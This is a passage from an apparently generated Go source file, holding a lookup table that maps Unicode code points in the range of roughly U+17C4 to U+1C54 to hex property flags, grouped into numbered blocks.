0x00c0, 0x17c4: 0x00c0, 0x17c5: 0x00c0, + 0x17c6: 0x00c0, 0x17c7: 0x00c0, 0x17c8: 0x00c0, 0x17c9: 0x00c0, 0x17ca: 0x00c0, 0x17cb: 0x00c0, + 0x17cc: 0x00c0, 0x17cd: 0x00c0, 0x17ce: 0x00c0, 0x17cf: 0x00c0, 0x17d0: 0x00c0, 0x17d1: 0x00c0, + 0x17d2: 0x00c0, 0x17d3: 0x00c0, 0x17d4: 0x00c0, 0x17d5: 0x00c0, 0x17d6: 0x00c0, 0x17d7: 0x00c0, + 0x17d8: 0x00c0, 0x17d9: 0x00c0, 0x17da: 0x00c0, 0x17db: 0x00c0, 0x17dc: 0x00c0, 0x17dd: 0x00c0, + 0x17de: 0x00c0, 0x17df: 0x00c0, 0x17e0: 0x00c0, 0x17e1: 0x00c0, 0x17e2: 0x00c0, 0x17e3: 0x00c0, + 0x17e4: 0x00c0, 0x17e5: 0x00c0, 0x17e6: 0x00c3, 0x17e7: 0x00c0, 0x17e8: 0x00c3, 0x17e9: 0x00c3, + 0x17ea: 0x00c0, 0x17eb: 0x00c0, 0x17ec: 0x00c0, 0x17ed: 0x00c3, 0x17ee: 0x00c0, 0x17ef: 0x00c3, + 0x17f0: 0x00c3, 0x17f1: 0x00c3, 0x17f2: 0x00c5, 0x17f3: 0x00c5, + 0x17fc: 0x0080, 0x17fd: 0x0080, 0x17fe: 0x0080, 0x17ff: 0x0080, + // Block 0x60, offset 0x1800 + 0x1800: 0x00c0, 0x1801: 0x00c0, 0x1802: 0x00c0, 0x1803: 0x00c0, 0x1804: 0x00c0, 0x1805: 0x00c0, + 0x1806: 0x00c0, 0x1807: 0x00c0, 0x1808: 0x00c0, 0x1809: 0x00c0, 0x180a: 0x00c0, 0x180b: 0x00c0, + 0x180c: 0x00c0, 0x180d: 0x00c0, 0x180e: 0x00c0, 0x180f: 0x00c0, 0x1810: 0x00c0, 0x1811: 0x00c0, + 0x1812: 0x00c0, 0x1813: 0x00c0, 0x1814: 0x00c0, 0x1815: 0x00c0, 0x1816: 0x00c0, 0x1817: 0x00c0, + 0x1818: 0x00c0, 0x1819: 0x00c0, 0x181a: 0x00c0, 0x181b: 0x00c0, 0x181c: 0x00c0, 0x181d: 0x00c0, + 0x181e: 0x00c0, 0x181f: 0x00c0, 0x1820: 0x00c0, 0x1821: 0x00c0, 0x1822: 0x00c0, 0x1823: 0x00c0, + 0x1824: 0x00c0, 0x1825: 0x00c0, 0x1826: 0x00c0, 0x1827: 0x00c0, 0x1828: 0x00c0, 0x1829: 0x00c0, + 0x182a: 0x00c0, 0x182b: 0x00c0, 0x182c: 0x00c3, 0x182d: 0x00c3, 0x182e: 0x00c3, 0x182f: 0x00c3, + 0x1830: 0x00c3, 0x1831: 0x00c3, 0x1832: 0x00c3, 0x1833: 0x00c3, 0x1834: 0x00c0, 0x1835: 0x00c0, + 0x1836: 0x00c3, 0x1837: 0x00c3, 0x183b: 0x0080, + 0x183c: 0x0080, 0x183d: 0x0080, 0x183e: 0x0080, 0x183f: 0x0080, + // Block 0x61, offset 0x1840 + 0x1840: 0x00c0, 0x1841: 0x00c0, 0x1842: 0x00c0, 0x1843: 0x00c0, 0x1844: 0x00c0, 0x1845: 0x00c0, + 0x1846: 0x00c0, 0x1847: 0x00c0, 0x1848: 0x00c0, 0x1849: 0x00c0, + 0x184d: 0x00c0, 0x184e: 0x00c0, 0x184f: 0x00c0, 0x1850: 0x00c0, 0x1851: 0x00c0, + 0x1852: 0x00c0, 0x1853: 0x00c0, 0x1854: 0x00c0, 0x1855: 0x00c0, 0x1856: 0x00c0, 0x1857: 0x00c0, + 0x1858: 0x00c0, 0x1859: 0x00c0, 0x185a: 0x00c0, 0x185b: 0x00c0, 0x185c: 0x00c0, 0x185d: 0x00c0, + 0x185e: 0x00c0, 0x185f: 0x00c0, 0x1860: 0x00c0, 0x1861: 0x00c0, 0x1862: 0x00c0, 0x1863: 0x00c0, + 0x1864: 0x00c0, 0x1865: 0x00c0, 0x1866: 0x00c0, 0x1867: 0x00c0, 0x1868: 0x00c0, 0x1869: 0x00c0, + 0x186a: 0x00c0, 0x186b: 0x00c0, 0x186c: 0x00c0, 0x186d: 0x00c0, 0x186e: 0x00c0, 0x186f: 0x00c0, + 0x1870: 0x00c0, 0x1871: 0x00c0, 0x1872: 0x00c0, 0x1873: 0x00c0, 0x1874: 0x00c0, 0x1875: 0x00c0, + 0x1876: 0x00c0, 0x1877: 0x00c0, 0x1878: 0x00c0, 0x1879: 0x00c0, 0x187a: 0x00c0, 0x187b: 0x00c0, + 0x187c: 0x00c0, 0x187d: 0x00c0, 0x187e: 0x0080, 0x187f: 0x0080, + // Block 0x62, offset 0x1880 + 0x1880: 0x00c0, 0x1881: 0x00c0, 0x1882: 0x00c0, 0x1883: 0x00c0, 0x1884: 0x00c0, 0x1885: 0x00c0, + 0x1886: 0x00c0, 0x1887: 0x00c0, 0x1888: 0x00c0, + 0x1890: 0x00c0, 0x1891: 0x00c0, + 0x1892: 0x00c0, 0x1893: 0x00c0, 0x1894: 0x00c0, 0x1895: 0x00c0, 0x1896: 0x00c0, 0x1897: 0x00c0, + 0x1898: 0x00c0, 0x1899: 0x00c0, 0x189a: 0x00c0, 0x189b: 0x00c0, 0x189c: 0x00c0, 0x189d: 0x00c0, + 0x189e: 0x00c0, 0x189f: 0x00c0, 0x18a0: 0x00c0, 0x18a1: 0x00c0, 0x18a2: 0x00c0, 0x18a3: 0x00c0, + 0x18a4: 0x00c0, 0x18a5: 0x00c0, 0x18a6: 0x00c0, 0x18a7: 0x00c0, 0x18a8: 0x00c0, 0x18a9: 0x00c0, + 0x18aa: 0x00c0, 0x18ab: 0x00c0, 0x18ac: 0x00c0, 0x18ad: 0x00c0, 0x18ae: 0x00c0, 0x18af: 0x00c0, + 0x18b0: 0x00c0, 0x18b1: 0x00c0, 0x18b2: 0x00c0, 0x18b3: 0x00c0, 0x18b4: 0x00c0, 0x18b5: 0x00c0, + 0x18b6: 0x00c0, 0x18b7: 0x00c0, 0x18b8: 0x00c0, 0x18b9: 0x00c0, 0x18ba: 0x00c0, + 0x18bd: 0x00c0, 0x18be: 0x00c0, 0x18bf: 0x00c0, + // Block 0x63, offset 0x18c0 + 0x18c0: 0x0080, 0x18c1: 0x0080, 0x18c2: 0x0080, 0x18c3: 0x0080, 0x18c4: 0x0080, 0x18c5: 0x0080, + 0x18c6: 0x0080, 0x18c7: 0x0080, + 0x18d0: 0x00c3, 0x18d1: 0x00c3, + 0x18d2: 0x00c3, 0x18d3: 0x0080, 0x18d4: 0x00c3, 0x18d5: 0x00c3, 0x18d6: 0x00c3, 0x18d7: 0x00c3, + 0x18d8: 0x00c3, 0x18d9: 0x00c3, 0x18da: 0x00c3, 0x18db: 0x00c3, 0x18dc: 0x00c3, 0x18dd: 0x00c3, + 0x18de: 0x00c3, 0x18df: 0x00c3, 0x18e0: 0x00c3, 0x18e1: 0x00c0, 0x18e2: 0x00c3, 0x18e3: 0x00c3, + 0x18e4: 0x00c3, 0x18e5: 0x00c3, 0x18e6: 0x00c3, 0x18e7: 0x00c3, 0x18e8: 0x00c3, 0x18e9: 0x00c0, + 0x18ea: 0x00c0, 0x18eb: 0x00c0, 0x18ec: 0x00c0, 0x18ed: 0x00c3, 0x18ee: 0x00c0, 0x18ef: 0x00c0, + 0x18f0: 0x00c0, 0x18f1: 0x00c0, 0x18f2: 0x00c0, 0x18f3: 0x00c0, 0x18f4: 0x00c3, 0x18f5: 0x00c0, + 0x18f6: 0x00c0, 0x18f7: 0x00c0, 0x18f8: 0x00c3, 0x18f9: 0x00c3, 0x18fa: 0x00c0, + // Block 0x64, offset 0x1900 + 0x1900: 0x00c0, 0x1901: 0x00c0, 0x1902: 0x00c0, 0x1903: 0x00c0, 0x1904: 0x00c0, 0x1905: 0x00c0, + 0x1906: 0x00c0, 0x1907: 0x00c0, 0x1908: 0x00c0, 0x1909: 0x00c0, 0x190a: 0x00c0, 0x190b: 0x00c0, + 0x190c: 0x00c0, 0x190d: 0x00c0, 0x190e: 0x00c0, 0x190f: 0x00c0, 0x1910: 0x00c0, 0x1911: 0x00c0, + 0x1912: 0x00c0, 0x1913: 0x00c0, 0x1914: 0x00c0, 0x1915: 0x00c0, 0x1916: 0x00c0, 0x1917: 0x00c0, + 0x1918: 0x00c0, 0x1919: 0x00c0, 0x191a: 0x00c0, 0x191b: 0x00c0, 0x191c: 0x00c0, 0x191d: 0x00c0, + 0x191e: 0x00c0, 0x191f: 0x00c0, 0x1920: 0x00c0, 0x1921: 0x00c0, 0x1922: 0x00c0, 0x1923: 0x00c0, + 0x1924: 0x00c0, 0x1925: 0x00c0, 0x1926: 0x00c8, 0x1927: 0x00c8, 0x1928: 0x00c8, 0x1929: 0x00c8, + 0x192a: 0x00c8, 0x192b: 0x00c0, 0x192c: 0x0080, 0x192d: 0x0080, 0x192e: 0x0080, 0x192f: 0x00c0, + 0x1930: 0x0080, 0x1931: 0x0080, 0x1932: 0x0080, 0x1933: 0x0080, 0x1934: 0x0080, 0x1935: 0x0080, + 0x1936: 0x0080, 0x1937: 0x0080, 0x1938: 0x0080, 0x1939: 0x0080, 0x193a: 0x0080, 0x193b: 0x00c0, + 0x193c: 0x0080, 0x193d: 0x0080, 0x193e: 0x0080, 0x193f: 0x0080, + // Block 0x65, offset 0x1940 + 0x1940: 0x0080, 0x1941: 0x0080, 0x1942: 0x0080, 0x1943: 0x0080, 0x1944: 0x0080, 0x1945: 0x0080, + 0x1946: 0x0080, 0x1947: 0x0080, 0x1948: 0x0080, 0x1949: 0x0080, 0x194a: 0x0080, 0x194b: 0x0080, + 0x194c: 0x0080, 0x194d: 0x0080, 0x194e: 0x00c0, 0x194f: 0x0080, 0x1950: 0x0080, 0x1951: 0x0080, + 0x1952: 0x0080, 0x1953: 0x0080, 0x1954: 0x0080, 0x1955: 0x0080, 0x1956: 0x0080, 0x1957: 0x0080, + 0x1958: 0x0080, 0x1959: 0x0080, 0x195a: 0x0080, 0x195b: 0x0080, 0x195c: 0x0080, 0x195d: 0x0088, + 0x195e: 0x0088, 0x195f: 0x0088, 0x1960: 0x0088, 0x1961: 0x0088, 0x1962: 0x0080, 0x1963: 0x0080, + 0x1964: 0x0080, 0x1965: 0x0080, 0x1966: 0x0088, 0x1967: 0x0088, 0x1968: 0x0088, 0x1969: 0x0088, + 0x196a: 0x0088, 0x196b: 0x00c0, 0x196c: 0x00c0, 0x196d: 0x00c0, 0x196e: 0x00c0, 0x196f: 0x00c0, + 0x1970: 0x00c0, 0x1971: 0x00c0, 0x1972: 0x00c0, 0x1973: 0x00c0, 0x1974: 0x00c0, 0x1975: 0x00c0, + 0x1976: 0x00c0, 0x1977: 0x00c0, 0x1978: 0x0080, 0x1979: 0x00c0, 0x197a: 0x00c0, 0x197b: 0x00c0, + 0x197c: 0x00c0, 0x197d: 0x00c0, 0x197e: 0x00c0, 0x197f: 0x00c0, + // Block 0x66, offset 0x1980 + 0x1980: 0x00c0, 0x1981: 0x00c0, 0x1982: 0x00c0, 0x1983: 0x00c0, 0x1984: 0x00c0, 0x1985: 0x00c0, + 0x1986: 0x00c0, 0x1987: 0x00c0, 0x1988: 0x00c0, 0x1989: 0x00c0, 0x198a: 0x00c0, 0x198b: 0x00c0, + 0x198c: 0x00c0, 0x198d: 0x00c0, 0x198e: 0x00c0, 0x198f: 0x00c0, 0x1990: 0x00c0, 0x1991: 0x00c0, + 0x1992: 0x00c0, 0x1993: 0x00c0, 0x1994: 0x00c0, 0x1995: 0x00c0, 0x1996: 0x00c0, 0x1997: 0x00c0, + 0x1998: 0x00c0, 0x1999: 0x00c0, 0x199a: 0x00c0, 0x199b: 0x0080, 0x199c: 0x0080, 0x199d: 0x0080, + 0x199e: 0x0080, 0x199f: 0x0080, 0x19a0: 0x0080, 0x19a1: 0x0080, 0x19a2: 0x0080, 0x19a3: 0x0080, + 0x19a4: 0x0080, 0x19a5: 0x0080, 0x19a6: 0x0080, 0x19a7: 0x0080, 0x19a8: 0x0080, 0x19a9: 0x0080, + 0x19aa: 0x0080, 0x19ab: 0x0080, 0x19ac: 0x0080, 0x19ad: 0x0080, 0x19ae: 0x0080, 0x19af: 0x0080, + 0x19b0: 0x0080, 0x19b1: 0x0080, 0x19b2: 0x0080, 0x19b3: 0x0080, 0x19b4: 0x0080, 0x19b5: 0x0080, + 0x19b6: 0x0080, 0x19b7: 0x0080, 0x19b8: 0x0080, 0x19b9: 0x0080, 0x19ba: 0x0080, 0x19bb: 0x0080, + 0x19bc: 0x0080, 0x19bd: 0x0080, 0x19be: 0x0080, 0x19bf: 0x0088, + // Block 0x67, offset 0x19c0 + 0x19c0: 0x00c0, 0x19c1: 0x00c0, 0x19c2: 0x00c0, 0x19c3: 0x00c0, 0x19c4: 0x00c0, 0x19c5: 0x00c0, + 0x19c6: 0x00c0, 0x19c7: 0x00c0, 0x19c8: 0x00c0, 0x19c9: 0x00c0, 0x19ca: 0x00c0, 0x19cb: 0x00c0, + 0x19cc: 0x00c0, 0x19cd: 0x00c0, 0x19ce: 0x00c0, 0x19cf: 0x00c0, 0x19d0: 0x00c0, 0x19d1: 0x00c0, + 0x19d2: 0x00c0, 0x19d3: 0x00c0, 0x19d4: 0x00c0, 0x19d5: 0x00c0, 0x19d6: 0x00c0, 0x19d7: 0x00c0, + 0x19d8: 0x00c0, 0x19d9: 0x00c0, 0x19da: 0x0080, 0x19db: 0x0080, 0x19dc: 0x00c0, 0x19dd: 0x00c0, + 0x19de: 0x00c0, 0x19df: 0x00c0, 0x19e0: 0x00c0, 0x19e1: 0x00c0, 0x19e2: 0x00c0, 0x19e3: 0x00c0, + 0x19e4: 0x00c0, 0x19e5: 0x00c0, 0x19e6: 0x00c0, 0x19e7: 0x00c0, 0x19e8: 0x00c0, 0x19e9: 0x00c0, + 0x19ea: 0x00c0, 0x19eb: 0x00c0, 0x19ec: 0x00c0, 0x19ed: 0x00c0, 0x19ee: 0x00c0, 0x19ef: 0x00c0, + 0x19f0: 0x00c0, 0x19f1: 0x00c0, 0x19f2: 0x00c0, 0x19f3: 0x00c0, 0x19f4: 0x00c0, 0x19f5: 0x00c0, + 0x19f6: 0x00c0, 0x19f7: 0x00c0, 0x19f8: 0x00c0, 0x19f9: 0x00c0, 0x19fa: 0x00c0, 0x19fb: 0x00c0, + 0x19fc: 0x00c0, 0x19fd: 0x00c0, 0x19fe: 0x00c0, 0x19ff: 0x00c0, + // Block 0x68, offset 0x1a00 + 0x1a00: 0x00c8, 0x1a01: 0x00c8, 0x1a02: 0x00c8, 0x1a03: 0x00c8, 0x1a04: 0x00c8, 0x1a05: 0x00c8, + 0x1a06: 0x00c8, 0x1a07: 0x00c8, 0x1a08: 0x00c8, 0x1a09: 0x00c8, 0x1a0a: 0x00c8, 0x1a0b: 0x00c8, + 0x1a0c: 0x00c8, 0x1a0d: 0x00c8, 0x1a0e: 0x00c8, 0x1a0f: 0x00c8, 0x1a10: 0x00c8, 0x1a11: 0x00c8, + 0x1a12: 0x00c8, 0x1a13: 0x00c8, 0x1a14: 0x00c8, 0x1a15: 0x00c8, + 0x1a18: 0x00c8, 0x1a19: 0x00c8, 0x1a1a: 0x00c8, 0x1a1b: 0x00c8, 0x1a1c: 0x00c8, 0x1a1d: 0x00c8, + 0x1a20: 0x00c8, 0x1a21: 0x00c8, 0x1a22: 0x00c8, 0x1a23: 0x00c8, + 0x1a24: 0x00c8, 0x1a25: 0x00c8, 0x1a26: 0x00c8, 0x1a27: 0x00c8, 0x1a28: 0x00c8, 0x1a29: 0x00c8, + 0x1a2a: 0x00c8, 0x1a2b: 0x00c8, 0x1a2c: 0x00c8, 0x1a2d: 0x00c8, 0x1a2e: 0x00c8, 0x1a2f: 0x00c8, + 0x1a30: 0x00c8, 0x1a31: 0x00c8, 0x1a32: 0x00c8, 0x1a33: 0x00c8, 0x1a34: 0x00c8, 0x1a35: 0x00c8, + 0x1a36: 0x00c8, 0x1a37: 0x00c8, 0x1a38: 0x00c8, 0x1a39: 0x00c8, 0x1a3a: 0x00c8, 0x1a3b: 0x00c8, + 0x1a3c: 0x00c8, 0x1a3d: 0x00c8, 0x1a3e: 0x00c8, 0x1a3f: 0x00c8, + // Block 0x69, offset 0x1a40 + 0x1a40: 0x00c8, 0x1a41: 0x00c8, 0x1a42: 0x00c8, 0x1a43: 0x00c8, 0x1a44: 0x00c8, 0x1a45: 0x00c8, + 0x1a48: 0x00c8, 0x1a49: 0x00c8, 0x1a4a: 0x00c8, 0x1a4b: 0x00c8, + 0x1a4c: 0x00c8, 0x1a4d: 0x00c8, 0x1a50: 0x00c8, 0x1a51: 0x00c8, + 0x1a52: 0x00c8, 0x1a53: 0x00c8, 0x1a54: 0x00c8, 0x1a55: 0x00c8, 0x1a56: 0x00c8, 0x1a57: 0x00c8, + 0x1a59: 0x00c8, 0x1a5b: 0x00c8, 0x1a5d: 0x00c8, + 0x1a5f: 0x00c8, 0x1a60: 0x00c8, 0x1a61: 0x00c8, 0x1a62: 0x00c8, 0x1a63: 0x00c8, + 0x1a64: 0x00c8, 0x1a65: 0x00c8, 0x1a66: 0x00c8, 0x1a67: 0x00c8, 0x1a68: 0x00c8, 0x1a69: 0x00c8, + 0x1a6a: 0x00c8, 0x1a6b: 0x00c8, 0x1a6c: 0x00c8, 0x1a6d: 0x00c8, 0x1a6e: 0x00c8, 0x1a6f: 0x00c8, + 0x1a70: 0x00c8, 0x1a71: 0x0088, 0x1a72: 0x00c8, 0x1a73: 0x0088, 0x1a74: 0x00c8, 0x1a75: 0x0088, + 0x1a76: 0x00c8, 0x1a77: 0x0088, 0x1a78: 0x00c8, 0x1a79: 0x0088, 0x1a7a: 0x00c8, 0x1a7b: 0x0088, + 0x1a7c: 0x00c8, 0x1a7d: 0x0088, + // Block 0x6a, offset 0x1a80 + 0x1a80: 0x00c8, 0x1a81: 0x00c8, 0x1a82: 0x00c8, 0x1a83: 0x00c8, 0x1a84: 0x00c8, 0x1a85: 0x00c8, + 0x1a86: 0x00c8, 0x1a87: 0x00c8, 0x1a88: 0x0088, 0x1a89: 0x0088, 0x1a8a: 0x0088, 0x1a8b: 0x0088, + 0x1a8c: 0x0088, 0x1a8d: 0x0088, 0x1a8e: 0x0088, 0x1a8f: 0x0088, 0x1a90: 0x00c8, 0x1a91: 0x00c8, + 0x1a92: 0x00c8, 0x1a93: 0x00c8, 0x1a94: 0x00c8, 0x1a95: 0x00c8, 0x1a96: 0x00c8, 0x1a97: 0x00c8, + 0x1a98: 0x0088, 0x1a99: 0x0088, 0x1a9a: 0x0088, 0x1a9b: 0x0088, 0x1a9c: 0x0088, 0x1a9d: 0x0088, + 0x1a9e: 0x0088, 0x1a9f: 0x0088, 0x1aa0: 0x00c8, 0x1aa1: 0x00c8, 0x1aa2: 0x00c8, 0x1aa3: 0x00c8, + 0x1aa4: 0x00c8, 0x1aa5: 0x00c8, 0x1aa6: 0x00c8, 0x1aa7: 0x00c8, 0x1aa8: 0x0088, 0x1aa9: 0x0088, + 0x1aaa: 0x0088, 0x1aab: 0x0088, 0x1aac: 0x0088, 0x1aad: 0x0088, 0x1aae: 0x0088, 0x1aaf: 0x0088, + 0x1ab0: 0x00c8, 0x1ab1: 0x00c8, 0x1ab2: 0x00c8, 0x1ab3: 0x00c8, 0x1ab4: 0x00c8, + 0x1ab6: 0x00c8, 0x1ab7: 0x00c8, 0x1ab8: 0x00c8, 0x1ab9: 0x00c8, 0x1aba: 0x00c8, 0x1abb: 0x0088, + 0x1abc: 0x0088, 0x1abd: 0x0088, 0x1abe: 0x0088, 0x1abf: 0x0088, + // Block 0x6b, offset 0x1ac0 + 0x1ac0: 0x0088, 0x1ac1: 0x0088, 0x1ac2: 0x00c8, 0x1ac3: 0x00c8, 0x1ac4: 0x00c8, + 0x1ac6: 0x00c8, 0x1ac7: 0x00c8, 0x1ac8: 0x00c8, 0x1ac9: 0x0088, 0x1aca: 0x00c8, 0x1acb: 0x0088, + 0x1acc: 0x0088, 0x1acd: 0x0088, 0x1ace: 0x0088, 0x1acf: 0x0088, 0x1ad0: 0x00c8, 0x1ad1: 0x00c8, + 0x1ad2: 0x00c8, 0x1ad3: 0x0088, 0x1ad6: 0x00c8, 0x1ad7: 0x00c8, + 0x1ad8: 0x00c8, 0x1ad9: 0x00c8, 0x1ada: 0x00c8, 0x1adb: 0x0088, 0x1add: 0x0088, + 0x1ade: 0x0088, 0x1adf: 0x0088, 0x1ae0: 0x00c8, 0x1ae1: 0x00c8, 0x1ae2: 0x00c8, 0x1ae3: 0x0088, + 0x1ae4: 0x00c8, 0x1ae5: 0x00c8, 0x1ae6: 0x00c8, 0x1ae7: 0x00c8, 0x1ae8: 0x00c8, 0x1ae9: 0x00c8, + 0x1aea: 0x00c8, 0x1aeb: 0x0088, 0x1aec: 0x00c8, 0x1aed: 0x0088, 0x1aee: 0x0088, 0x1aef: 0x0088, + 0x1af2: 0x00c8, 0x1af3: 0x00c8, 0x1af4: 0x00c8, + 0x1af6: 0x00c8, 0x1af7: 0x00c8, 0x1af8: 0x00c8, 0x1af9: 0x0088, 0x1afa: 0x00c8, 0x1afb: 0x0088, + 0x1afc: 0x0088, 0x1afd: 0x0088, 0x1afe: 0x0088, + // Block 0x6c, offset 0x1b00 + 0x1b00: 0x0080, 0x1b01: 0x0080, 0x1b02: 0x0080, 0x1b03: 0x0080, 0x1b04: 0x0080, 0x1b05: 0x0080, + 0x1b06: 0x0080, 0x1b07: 0x0080, 0x1b08: 0x0080, 0x1b09: 0x0080, 0x1b0a: 0x0080, 0x1b0b: 0x0040, + 0x1b0c: 0x004d, 0x1b0d: 0x004e, 0x1b0e: 0x0040, 0x1b0f: 0x0040, 0x1b10: 0x0080, 0x1b11: 0x0080, + 0x1b12: 0x0080, 0x1b13: 0x0080, 0x1b14: 0x0080, 0x1b15: 0x0080, 0x1b16: 0x0080, 0x1b17: 0x0080, + 0x1b18: 0x0080, 0x1b19: 0x0080, 0x1b1a: 0x0080, 0x1b1b: 0x0080, 0x1b1c: 0x0080, 0x1b1d: 0x0080, + 0x1b1e: 0x0080, 0x1b1f: 0x0080, 0x1b20: 0x0080, 0x1b21: 0x0080, 0x1b22: 0x0080, 0x1b23: 0x0080, + 0x1b24: 0x0080, 0x1b25: 0x0080, 0x1b26: 0x0080, 0x1b27: 0x0080, 0x1b28: 0x0040, 0x1b29: 0x0040, + 0x1b2a: 0x0040, 0x1b2b: 0x0040, 0x1b2c: 0x0040, 0x1b2d: 0x0040, 0x1b2e: 0x0040, 0x1b2f: 0x0080, + 0x1b30: 0x0080, 0x1b31: 0x0080, 0x1b32: 0x0080, 0x1b33: 0x0080, 0x1b34: 0x0080, 0x1b35: 0x0080, + 0x1b36: 0x0080, 0x1b37: 0x0080, 0x1b38: 0x0080, 0x1b39: 0x0080, 0x1b3a: 0x0080, 0x1b3b: 0x0080, + 0x1b3c: 0x0080, 0x1b3d: 0x0080, 0x1b3e: 0x0080, 0x1b3f: 0x0080, + // Block 0x6d, offset 0x1b40 + 0x1b40: 0x0080, 0x1b41: 0x0080, 0x1b42: 0x0080, 0x1b43: 0x0080, 0x1b44: 0x0080, 0x1b45: 0x0080, + 0x1b46: 0x0080, 0x1b47: 0x0080, 0x1b48: 0x0080, 0x1b49: 0x0080, 0x1b4a: 0x0080, 0x1b4b: 0x0080, + 0x1b4c: 0x0080, 0x1b4d: 0x0080, 0x1b4e: 0x0080, 0x1b4f: 0x0080, 0x1b50: 0x0080, 0x1b51: 0x0080, + 0x1b52: 0x0080, 0x1b53: 0x0080, 0x1b54: 0x0080, 0x1b55: 0x0080, 0x1b56: 0x0080, 0x1b57: 0x0080, + 0x1b58: 0x0080, 0x1b59: 0x0080, 0x1b5a: 0x0080, 0x1b5b: 0x0080, 0x1b5c: 0x0080, 0x1b5d: 0x0080, + 0x1b5e: 0x0080, 0x1b5f: 0x0080, 0x1b60: 0x0040, 0x1b61: 0x0040, 0x1b62: 0x0040, 0x1b63: 0x0040, + 0x1b64: 0x0040, 0x1b66: 0x0040, 0x1b67: 0x0040, 0x1b68: 0x0040, 0x1b69: 0x0040, + 0x1b6a: 0x0040, 0x1b6b: 0x0040, 0x1b6c: 0x0040, 0x1b6d: 0x0040, 0x1b6e: 0x0040, 0x1b6f: 0x0040, + 0x1b70: 0x0080, 0x1b71: 0x0080, 0x1b74: 0x0080, 0x1b75: 0x0080, + 0x1b76: 0x0080, 0x1b77: 0x0080, 0x1b78: 0x0080, 0x1b79: 0x0080, 0x1b7a: 0x0080, 0x1b7b: 0x0080, + 0x1b7c: 0x0080, 0x1b7d: 0x0080, 0x1b7e: 0x0080, 0x1b7f: 0x0080, + // Block 0x6e, offset 0x1b80 + 0x1b80: 0x0080, 0x1b81: 0x0080, 0x1b82: 0x0080, 0x1b83: 0x0080, 0x1b84: 0x0080, 0x1b85: 0x0080, + 0x1b86: 0x0080, 0x1b87: 0x0080, 0x1b88: 0x0080, 0x1b89: 0x0080, 0x1b8a: 0x0080, 0x1b8b: 0x0080, + 0x1b8c: 0x0080, 0x1b8d: 0x0080, 0x1b8e: 0x0080, 0x1b90: 0x0080, 0x1b91: 0x0080, + 0x1b92: 0x0080, 0x1b93: 0x0080, 0x1b94: 0x0080, 0x1b95: 0x0080, 0x1b96: 0x0080, 0x1b97: 0x0080, + 0x1b98: 0x0080, 0x1b99: 0x0080, 0x1b9a: 0x0080, 0x1b9b: 0x0080, 0x1b9c: 0x0080, + 0x1ba0: 0x0080, 0x1ba1: 0x0080, 0x1ba2: 0x0080, 0x1ba3: 0x0080, + 0x1ba4: 0x0080, 0x1ba5: 0x0080, 0x1ba6: 0x0080, 0x1ba7: 0x0080, 0x1ba8: 0x0080, 0x1ba9: 0x0080, + 0x1baa: 0x0080, 0x1bab: 0x0080, 0x1bac: 0x0080, 0x1bad: 0x0080, 0x1bae: 0x0080, 0x1baf: 0x0080, + 0x1bb0: 0x0080, 0x1bb1: 0x0080, 0x1bb2: 0x0080, 0x1bb3: 0x0080, 0x1bb4: 0x0080, 0x1bb5: 0x0080, + 0x1bb6: 0x0080, 0x1bb7: 0x0080, 0x1bb8: 0x0080, 0x1bb9: 0x0080, 0x1bba: 0x0080, 0x1bbb: 0x0080, + 0x1bbc: 0x0080, 0x1bbd: 0x0080, 0x1bbe: 0x0080, 0x1bbf: 0x0080, + // Block 0x6f, offset 0x1bc0 + 0x1bc0: 0x0080, + 0x1bd0: 0x00c3, 0x1bd1: 0x00c3, + 0x1bd2: 0x00c3, 0x1bd3: 0x00c3, 0x1bd4: 0x00c3, 0x1bd5: 0x00c3, 0x1bd6: 0x00c3, 0x1bd7: 0x00c3, + 0x1bd8: 0x00c3, 0x1bd9: 0x00c3, 0x1bda: 0x00c3, 0x1bdb: 0x00c3, 0x1bdc: 0x00c3, 0x1bdd: 0x0083, + 0x1bde: 0x0083, 0x1bdf: 0x0083, 0x1be0: 0x0083, 0x1be1: 0x00c3, 0x1be2: 0x0083, 0x1be3: 0x0083, + 0x1be4: 0x0083, 0x1be5: 0x00c3, 0x1be6: 0x00c3, 0x1be7: 0x00c3, 0x1be8: 0x00c3, 0x1be9: 0x00c3, + 0x1bea: 0x00c3, 0x1beb: 0x00c3, 0x1bec: 0x00c3, 0x1bed: 0x00c3, 0x1bee: 0x00c3, 0x1bef: 0x00c3, + 0x1bf0: 0x00c3, + // Block 0x70, offset 0x1c00 + 0x1c00: 0x0080, 0x1c01: 0x0080, 0x1c02: 0x0080, 0x1c03: 0x0080, 0x1c04: 0x0080, 0x1c05: 0x0080, + 0x1c06: 0x0080, 0x1c07: 0x0080, 0x1c08: 0x0080, 0x1c09: 0x0080, 0x1c0a: 0x0080, 0x1c0b: 0x0080, + 0x1c0c: 0x0080, 0x1c0d: 0x0080, 0x1c0e: 0x0080, 0x1c0f: 0x0080, 0x1c10: 0x0080, 0x1c11: 0x0080, + 0x1c12: 0x0080, 0x1c13: 0x0080, 0x1c14: 0x0080, 0x1c15: 0x0080, 0x1c16: 0x0080, 0x1c17: 0x0080, + 0x1c18: 0x0080, 0x1c19: 0x0080, 0x1c1a: 0x0080, 0x1c1b: 0x0080, 0x1c1c: 0x0080, 0x1c1d: 0x0080, + 0x1c1e: 0x0080, 0x1c1f: 0x0080, 0x1c20: 0x0080, 0x1c21: 0x0080, 0x1c22: 0x0080, 0x1c23: 0x0080, + 0x1c24: 0x0080, 0x1c25: 0x0080, 0x1c26: 0x0088, 0x1c27: 0x0080, 0x1c28: 0x0080, 0x1c29: 0x0080, + 0x1c2a: 0x0080, 0x1c2b: 0x0080, 0x1c2c: 0x0080, 0x1c2d: 0x0080, 0x1c2e: 0x0080, 0x1c2f: 0x0080, + 0x1c30: 0x0080, 0x1c31: 0x0080, 0x1c32: 0x00c0, 0x1c33: 0x0080, 0x1c34: 0x0080, 0x1c35: 0x0080, + 0x1c36: 0x0080, 0x1c37: 0x0080, 0x1c38: 0x0080, 0x1c39: 0x0080, 0x1c3a: 0x0080, 0x1c3b: 0x0080, + 0x1c3c: 0x0080, 0x1c3d: 0x0080, 0x1c3e: 0x0080, 0x1c3f: 0x0080, + // Block 0x71, offset 0x1c40 + 0x1c40: 0x0080, 0x1c41: 0x0080, 0x1c42: 0x0080, 0x1c43: 0x0080, 0x1c44: 0x0080, 0x1c45: 0x0080, + 0x1c46: 0x0080, 0x1c47: 0x0080, 0x1c48: 0x0080, 0x1c49: 0x0080, 0x1c4a: 0x0080, 0x1c4b: 0x0080, + 0x1c4c: 0x0080, 0x1c4d: 0x0080, 0x1c4e: 0x00c0, 0x1c4f: 0x0080, 0x1c50: 0x0080, 0x1c51: 0x0080, + 0x1c52: 0x0080, 0x1c53: 0x0080, 0x1c54: 0x0080, 